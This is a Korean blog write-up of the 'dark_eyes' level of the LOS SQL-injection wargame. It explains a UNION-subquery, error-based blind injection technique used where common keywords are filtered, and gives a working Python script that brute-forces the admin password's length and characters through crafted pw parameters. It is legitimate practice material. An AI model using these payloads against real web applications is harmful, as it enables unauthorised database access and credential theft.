Web/LOS

LOS - dark-eyes

cloudnaaam 2024. 10. 18. 21:49

22번째 dark_eyes 다.

 

col if case when sleep benchmark 가 필터링 되어 있다.

 

또한 에러 메세지가 출력되지 않기 때문에 에러가 뜨는지 안뜨는지에 따라 pw를 구해야 한다.

이를 위해 UNION 문을 사용할 것이다.

 

우리가 UNION을 사용할 때 알아야 할 가장 기본적인 것은 앞과 뒤의 서브쿼리가 반환할 값의 개수가 같아야 한다는 것이다.

 

현재 쿼리는

select id from prob_dark_eyes where id='admin' and pw=''

으로 전체적으로 단일 값 ‘admin’ 만을 반환할 것이다.

 

여기서 만약 복수의 값을 반환하는 서브쿼리

?pw='' or (select 1 select union 2);-- -

를 만들어 넣으면

이렇게 에러가 난다.

 

또한 UNION 문을 사용할 때 앞 뒤 SELECT 에서 같은 값을 반환할 경우 이는 하나의 값으로 인정된다.

 

이게 무슨 말이냐 하면

이런 식으로 된다는 말이다.

 

위 두 가지를 이해하고 적용하면

pw를 brute forcing 하면서 참일 경우 단일 값이 반환되어 에러가 안뜨고, 거짓일 경우 복수 값이 반환되어 에러가 뜨도록 하면 되는 것이다.

 

import requests

php = 'h3f5ptfm8b4nsjqe8o23jfji39'

for i in range(1,100):
    r = requests.get(url, params={'pw':f"'or id='admin' and (select 1 union select length(pw)={i});-- -"},cookies={'PHPSESSID':php})

    if r.text:
        print(f'password length = {i}')
        break
password = ''
for i in range(1,9):
    for j in range(33,200):
        r = requests.get(url, params={'pw':f"' or id='admin' and (select 1 union select ascii(substr(pw,{i},1))='{j}');-- -"},cookies={'PHPSESSID':php})
        if r.text:
            print(f'{i} password --> {j}')
            password += chr(j)
            break
print(password)

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - evil_wizard  (0) 2024.10.18
LOS - hell_fire  (0) 2024.10.18
LOS - iron_golem  (0) 2024.10.18
LOS - dragon  (0) 2024.10.18
LOS - xavis  (0) 2024.10.18